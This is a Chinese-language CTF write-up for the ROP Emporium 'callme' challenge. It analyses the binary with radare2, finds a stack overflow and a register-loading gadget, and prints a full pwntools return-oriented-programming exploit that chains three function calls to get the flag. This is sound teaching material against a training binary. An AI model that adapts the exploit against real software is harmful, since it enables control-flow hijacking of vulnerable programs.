前言
1.关于ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)
ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。
2. 本系列rop实战题目的背景
来自ROPEmporium
旨在通过解决一系列挑战来一步步进阶学习ROP利用技术。
操作
来到第三关
首先看一下二进制文件的信息
可以看到nx为true,同样设置了栈不可执行
接下来在r2中加载分析
afl列出函数
在上图中看到了此前出现过的main,pwnem,usefulFunction,不过这里比较有意思的是还出现了callme_one,callme_two,callme_three
我们看看题目的描述
我们知道需要通过对应的顺序传入对应的参数才能得到flag
即:
callme_one(1,2,3),callme_two(1,2,3),callme_three(1,2,3)
每个函数都有三个参数
在进一步分析他们之前,我们先来看看main
在上图中可以看到还是调用了pwnme
我们跟着分析pwnme,看看buffer的大小是否还是一样
可以看到缓冲区大小还是32字节,fgets函数容易造成缓冲区溢出
再看看usefulFunction中有什么
从上图中可以看到是按照给出的参数、顺序来调用callme_1,2,3三个函数的
所以我们在写的exp时的依据就是这个
需要注意的是,传参时顺序是相反的
我们可以在这个网站(https://godbolt.org/)自己写一段简单的函数并且在main中调用,对照汇编分析
为了将值放入用于传递参数的寄存器中,我们还要用到rop gadget,用于将值从栈pop到这些寄存器中
在这儿找到一条符合条件的
在0x401ab0,这个gadget可以将值从栈上pop到对应的三个寄存器上
这部分的exp比较长,我们直接用pwntools写,关键是四个地址,一个是rop gadget,已经知道了,另外三个是callme_1,2,3的地址,分别如下
完整代码在3.py
from pwn import *
def add_arguments(payload):
payload += p64(0x0000000000401ab0) # Address of gadget pop rdi; pop rsi; pop rdx; ret;
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
return payload
offset = cyclic(40) # 40 bytes used to overflow.
payload = offset
payload = add_arguments(payload)
payload += p64(0x00401850) # Address of callme_one function.
payload = add_arguments(payload)
payload += p64(0x00401870) # Address of callme_two function.
payload = add_arguments(payload)
payload += p64(0x00401810) # Address of callme_three function.
sh = process('callme')
sh.recv()
sh.sendline(payload)
output = sh.recvall()
print(output)
运行结果如下
拿到了flag。
注
题目来自ROPEmporium,另参考如下资源:
https://medium.com/@int0x33/
https://paper.seebug.org/272/
https://www.rootnetsec.com/
https://bestwing.me/ropemporium-all-writeup.html
https://firmianay.github.io/2017/11/02/rop_emporium.html
https://www.oipapio.com/cn/article-5389490
http://ascii.911cha.com/
https://www.bejson.com/convert/ox2str/
https://larry.ngrep.me/2018/06/14/rop-emporium-write-up/
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
https://www.jianshu.com/p/a9ad38ad33e5
https://zhuanlan.zhihu.com/p/27339191
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html